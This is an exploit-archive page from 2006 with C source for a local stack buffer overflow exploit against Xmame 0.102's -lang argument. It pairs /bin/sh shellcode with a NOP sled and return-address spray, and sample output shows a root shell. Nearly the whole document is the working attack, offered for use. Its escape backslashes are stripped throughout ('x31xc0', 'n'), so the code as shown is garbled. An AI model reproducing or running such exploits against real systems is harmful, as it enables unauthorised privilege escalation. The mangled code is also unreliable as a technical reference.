[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Xmame 0.102 (-lang) Local Buffer Overflow Exploit (c code)
# Published : 2006-01-13
# Author : Qnix
# Previous Title : Xmame <= 0.102 (-pb/-lang/-rec) Local Buffer Overflow Exploit
# Next Title : Microsoft IIS ASP Stack Overflow Exploit (MS06-034)
/*
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
Qnix@bsdmail.org
#0x11 @EFNET
icq : 234263
0x11.org
Advisory : http://kerneltrap.org/node/6055
e.g:
Qnix ~ # ./exploit /usr/games/bin/xmame.x11
**************************************************
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
**************************************************
(~) Stack pointer (ESP) : 0xbffff688
(~) Offset from ESP : 0x0
(~) Desired Return Addr : 0xbffff688
GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/xmame/rc/robbyrc
info: trying to parse: /root/.xmame/rc/robbyrc
sh-3.00#
*/
#include <stdio.h>
#include <stdlib.h>
#define BUFSIZE 1057
#define NS 600
char shellcode[] =
"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0"
"x88x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8d"
"x53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73"
"x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
if(argc < 2 || argc != 2)
{
fprintf(stderr,"%s <xmam.x11>n",argv[0]);
return(0);
}
fprintf(stdout,"**************************************************n");
fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploitn");
fprintf(stdout,"Coded BY Qnixn");
fprintf(stdout,"**************************************************nn");
fprintf(stdout,"t(~) Stack pointer (ESP) : 0x%xn", esp);
fprintf(stdout,"t(~) Offset from ESP : 0x%xn", offset);
fprintf(stdout,"t(~) Desired Return Addr : 0x%xnn", ret);
buffer = malloc(BUFSIZE);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < BUFSIZE; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < NS; i++)
{ buffer[i] = 'x90'; }
ptr = buffer + NS;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[BUFSIZE-1] = 0;
execl(argv[1], "xmame.x11", "-lang", buffer, 0);
free(buffer);
return(0);
}
// www.Syue.com [2006-01-13]